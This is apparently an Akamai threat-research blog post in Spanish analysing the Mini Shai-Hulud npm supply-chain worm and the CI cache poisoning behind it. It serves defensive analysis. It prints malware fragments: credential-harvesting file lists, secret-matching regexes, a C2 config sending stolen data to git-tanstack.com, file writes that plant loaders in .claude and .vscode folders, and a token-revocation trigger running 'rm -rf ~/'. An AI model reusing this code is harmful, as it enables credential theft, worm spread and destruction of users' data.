Akamai adquirirá LayerX para reforzar el control de uso de IA en cualquier navegador. Obtener detalles

Mini Shai-Hulud: El gusano regresa y se hace público

Compartir

El grupo de inteligencia sobre seguridad de Akamai ha identificado una nueva ola de la campaña contra la cadena de suministro Shai-Hulud que está afectando al ecosistema npm. Los clientes afectados de Akamai Hunt ya han recibido una asignación detallada de los activos vulnerables con pasos de segmentación a seguir y recomendaciones de mitigación.

Conclusiones clave

  • El 11 de mayo de 2026, una nueva ola de la campaña contra la cadena de suministro Shai-Hulud atacó el ecosistema npm al publicar versiones maliciosas de paquetes en el árbol de dependencias de TanStack.

  • El ataque se llevó a cabo mediante el secuestro del flujo de trabajo de lanzamiento legítimo a través de un ataque de envenenamiento de caché de integración continua (CI) y el terminal de publicación OpenID Connect (OIDC) de npm.

  • La campaña se expandió rápidamente más allá de TanStack a paquetes npm adicionales vinculados a Mistral AI, UiPath, OpenSearch y otros.

  • Al día siguiente, los nuevos repositorios de GitHub parecían estar alojando el código fuente del gusano malicioso Shai-Hulud.

  • En esta entrada de blog, analizamos el malware recién lanzado, analizamos las diferencias entre esta ola de ataques y las anteriores, y ofrecemos recomendaciones de mitigación para los responsables de mantenimiento y las organizaciones.

El 11 de mayo de 2026, TeamPCP continuó su campaña contra la cadena de suministro en curso introduciendo una nueva carga útil en forma de variante de shai-hulud. En nuestra entrada de blog anterior sobre este tema, observamos que el grupo de ransomware Vect había anunciado una asociación con TeamPCP, lo que sugiere un posible cambio del robo de credenciales hacia operaciones de extorsión y ransomware a gran escala.

Esta nueva campaña ofrece la primera señal concreta de que este cambio puede estar ya en marcha.

Olas anteriores del gusano Shai-Hulud

El gusano Shai-Hulud apareció por primera vez en septiembre de 2025. Su mecanismo principal era sencillo: robar un token de publicación de npm, enumerar todos los paquetes a los que podría llegar el token, insertar código malicioso y volver a publicar.

Tras su debut, Shai-Hulud se mantuvo activo hasta finales de año, reemergiendo en noviembre y diciembre de 2025 con una funcionalidad de borrado de datos actualizada. 

La nueva ola incluye envenenamiento de caché de CI y uso indebido de OIDC

Todas las olas anteriores comenzaron con credenciales robadas. Esta no lo hizo.

TeamPCP, el grupo de atacantes responsable de la brecha Trivy en marzo de 2026 y de varias operaciones posteriores, ha reivindicado la autoría de esta nueva ola, a la que han bautizado como Mini Shai-Hulud.

Para esta nueva ola, los atacantes aprovecharon una configuración incorrecta del flujo de trabajo de solicitud de extracción en el CI de GitHub Actions de TanStack. Una solicitud de extracción de una bifurcación desencadenó un flujo de trabajo con acceso de escritura al caché del repositorio base. El código del atacante envenenó esa caché y esperó. 

Ocho horas después, una fusión realizada por un mantenedor legítimo activó el flujo de publicación estándar, que recuperó la caché envenenada y ejecutó el código del atacante.

Exfiltración automatizada de tokens de GitHub Actions

A continuación, el gusano del atacante realizó un scraping de los tokens directamente de la memoria del corredor de GitHub Actions y los intercambió por credenciales de publicación de npm a través del propio terminal de intercambio de tokens de npm. No se "robaron" tokens npm y el flujo de trabajo de publicación en sí no parecía estar en peligro, lo que hacía que el ataque fuera invisible y le concedía la validación de la certificación SLSA.

Otro cambio crucial es que ahora la carga útil crea un daemon en segundo plano que utiliza el token robado del acceso inicial. Si se revoca el token, el daemon borra inmediatamente todo el directorio principal de la víctima

Vectores de persistencia en aplicaciones de desarrolladores

La persistencia de malware también se amplió para incluir enlaces de sesión de Claude Code y automatización de tareas de VS Code, que sobreviven a una operación de “desinstalación npm”. 

El gusano en sí no ha cambiado: una vez que obtiene credenciales válidas, enumera todos los paquetes que identifica e intenta inyectarse a sí mismo en esos paquetes. 

La campaña se hace pública

En la tarde del 12 de mayo de 2026, el código del gusano convertido totalmente armado se lanzó públicamente. Aunque no podemos saber con certeza si es idéntico al malware que afectó a TanStack, pero la carga útil maliciosa completa está ahora disponible para cualquiera.

En la tarde del 12 de mayo de 2026, el código del gusano convertido totalmente armado se lanzó públicamente. Un fragmento de código de uno de los repositorios de GitHub antes de que se desactivara

Desglose del malware: el bucle principal

El bucle principal del gusano no es muy grande, apenas un puñado de fases, pero se ha tenido un cuidado meticuloso en cada una de las fases, que incluyen:

  • Fase 0: Comprobaciones previas

  • Fase 1: Logros rápidos

  • Fase 2: Comunicación de mando y control (C2)

  • Fase 3: Credenciales de la plataforma de recopilación

  • Fase 4: La expansión continua

El bucle principal tiene este aspecto:

main()
      └── preflight()
      └── setupQuickResults()
      └── C2 / Dispatcher setup
             └── collector.ingest(...)    
      └── collector.run(providers)
      └── ReadmeUpdater / spread
      └── collector.finalize()   

Fase 0: Comprobaciones previas

El malware comienza comprobando si se está ejecutando en el contexto del paquete opensearch-js. Si es así, intenta inyectar una puerta trasera en el paquete, activar su cliente OIDC, robar las credenciales inmediatamente y forjar su firma SLSA.

A continuación, el malware comprueba si el idioma del sistema está ajustado en ruso. Si es así, el malware se cierra.

A continuación, completa las comprobaciones previas asegurándose de que es la única instancia en ejecución, confirmando que se está ejecutando dentro de un entorno CI/CD e impidiendo que se finalice a través de SIGINT o SIGTERM.

Fase 1: Logros rápidos

En esta fase, el malware intenta recopilar rápidamente tantas credenciales como sea posible desde el terminal. Para ello, lee más de 1000 ubicaciones de credenciales conocidas, intenta ejecutar gh auth tokeny captura process.env para robar credenciales de las variables de entorno.

LINUX:[
…
    scramble("~/.ssh/known_hosts"),
    scramble("~/.terraform.d/credentials.tfrc.json"),
    scramble("/var/lib/docker/containers/*/config.v2.json"),
    scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
    scramble("~/.viminfo"),
    scramble("**/wp-config.php"),
    scramble("~/.yarnrc"),
    scramble("~/.zcash/wallet.dat"),
    scramble("~/.zsh_history"),
] 
WIN: [
    ".env",
    "config.ini",
    scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
    scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
    scramble("%PROGRAMDATA%\OpenVPN\config\*"),
    scramble("%APPDATA%\\ProtonVPN\\user.config"),
    scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
    scramble("%APPDATA%\\Private Internet Access\*.conf"),
    scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
    scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
    scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
    scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
  ],
  OSX: [
    scramble("~/.ansible/*"),
    scramble("~/.aws/config"),
    scramble("~/.aws/credentials"),
    scramble("~/.azure/accessTokens.json"),
    scramble("~/.azure/msal_token_cache.*"),
    scramble("~/.bash_history"),
    scramble("~/.bitcoin/wallet.dat"),

Fase 2: Comunicación de mando y control (C2)

A continuación, el gusano configura la comunicación C2 con su servidor principal:

const dest: SenderDestination = {
      domain: scramble("git-tanstack.com"),
      port: 443,
      path: scramble("router"),
      dry_run: false,
};

Mediante su función de distribuidor principal, el gusano cifra todos los datos robados con una clave pública RSA integrada en el código antes de la transmisión. Esto garantiza que únicamente el atacante pueda leer los datos filtrados. El código también insta a los futuros operadores a sustituir esta clave.

El malware intenta primero ponerse en contacto con su servidor C2 principal. Si esa comunicación está bloqueada, vuelve a crear un nuevo repositorio de GitHub bajo la propia cuenta de la víctima y a confirmar allí los datos cifrados. A continuación, el atacante puede supervisar GitHub en busca de estos repositorios mediante su descripción distintiva.

Una vez que los datos cifrados alcanzan los 100 KB, comienza la exfiltración.

Fase 3: Credenciales de la plataforma de recopilación

Una vez finalizada la configuración, el malware comienza a recopilar credenciales de forma más agresiva desde plataformas como AWS, Kubernetes, GitHub y otras.

Por ejemplo, en entornos de Kubernetes, el gusano intenta iterar en muchas ubicaciones y secretos diferentes mediante expresiones regulares:

constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}

private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}

private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";

En la recopilación relacionada con AWS, algunas de las ubicaciones en las que el gusano busca incluyen:

~/.aws/credentials

~/.aws/config

~/.azure/accessTokens.json

~/.azure/msal_token_cache.*

~/.config/gcloud/credentials.db

access_tokens.db

application_default_credentials.json

~/.terraform.d/credentials.tfrc.json

Una vez completada la recopilación, el malware envía los datos recogidos a través de su canal C2 y continúa propagándose a otros repositorios.

Un comportamiento notable no relacionado con el marco es que el malware también busca carteras de bitcoin, específicamente dirigidas a ~/.bitcoin/wallet.dat.

Fase 4: La expansión continua

Para extenderse aún más, el gusano utiliza cada token de GitHub válido que encuentra para crear un flujo de trabajo que roba secretos adicionales y continúa la cadena de infección.

Si no se encuentra ningún token de flujo de trabajo, el gusano se propaga iterando en cada rama de GitHub que descubre e insertando archivos maliciosos, incluidos un cargador y el binario del gusano, en carpetas relacionadas con agentes de IA como .claude y .vscode:

const FILE_UPDATES: FileSourceMap = {
  ".vscode/tasks.json": task,
  [`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
  ".claude/settings.json": claude_settings,
  ".claude/setup.mjs": config,
  ".vscode/setup.mjs": config,
};

Si el gusano encuentra tokens NPM, inicia su NPMClient y copia el malware en packages/opensearch_init.js. 

El malware utiliza una cadena de propagación similar para los tokens de OIDC.

Desglose del malware: el interruptor de parada inmediata

Además del bucle principal, una de las partes más destacadas del malware es su interruptor de parada inmediata. Una vez cada 60 segundos, el malware comprueba si se han rotado los tokens. Si lo han hecho, el gusano intenta eliminar archivos del equipo:

logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

Aunque hay otros muchos aspectos y capas de código que no hemos tratado aquí, creemos que el comportamiento que hemos descrito es suficiente para demostrar la sofisticación y la intención de los atacantes.

Detección y mitigación

Para mantener su organización protegida, le recomendamos que consulte inmediatamente con un profesional de seguridad y lleve a cabo las siguientes acciones:

  • Bajar de versión los paquetes infectados a versiones seguras

  • Reducir la onda expansiva de los hosts afectados mediante la segmentación de red

Mirando hacia el futuro

Esta campaña marca otro punto de escalada en la operación en curso de TeamPCP. Durante ocho meses, el grupo ha llevado a cabo una campaña metódica y técnicamente sofisticada de robo de credenciales, centrada en recopilar secretos, hacer un uso indebido de los flujos de trabajo de los desarrolladores y expandir el acceso a los entornos de la cadena de suministro de software.

Esta última variante muestra una inversión continua en automatización, recopilación de credenciales y propagación entre repositorios, paquetes y herramientas de desarrollo. Esta campaña surge inmediatamente después de que TeamPCP anunciara su asociación con Vect.

Con el gusano ahora público y la cadena de herramientas disponible para otros operadores, el problema ya no se limita solo a TeamPCP. Las mismas técnicas ahora pueden ser estudiadas, adaptadas y reutilizadas por otros atacantes.

Manténgase informado

El grupo de inteligencia sobre seguridad de Akamai seguirá supervisando, informando y creando mitigaciones para amenazas de este tipo tanto para nuestros clientes como para la comunidad de seguridad en general. Para mantenerse al día con más noticias de última hora del grupo de inteligencia de seguridad de Akamai, consulte nuestra página de investigación y síganos en las redes sociales.

Etiquetas

Compartir

Entradas de blog relacionadas

Investigaciones sobre seguridad
CVE-2025-29635: La campaña de Mirai ataca los dispositivos de D-Link
April 21, 2026
Obtenga más información sobre los intentos de explotación activa de la vulnerabilidad de inyección de comandos D-Link CVE-2025-29635 descubierta por el SIRT de Akamai.
Ciberseguridad
CVE-2026-31979: la trampa de Symlink: derivación de privilegios root en Himmelblau
Una vulnerabilidad de gravedad alta (CVE-2026-31979) afecta a determinadas implementaciones de Himmelblau. Se recomienda tomar medidas inmediatas.
Ciberseguridad
Akamai ayuda a las autoridades a interrumpir las botnets del IoT más grandes del mundo
Recientemente, el Departamento de Justicia de EE. UU. ha interrumpido varias botnets de DDoS potentes y de gran tamaño y ha cerrado sus servicios de DDoS de alquiler con la ayuda de Akamai.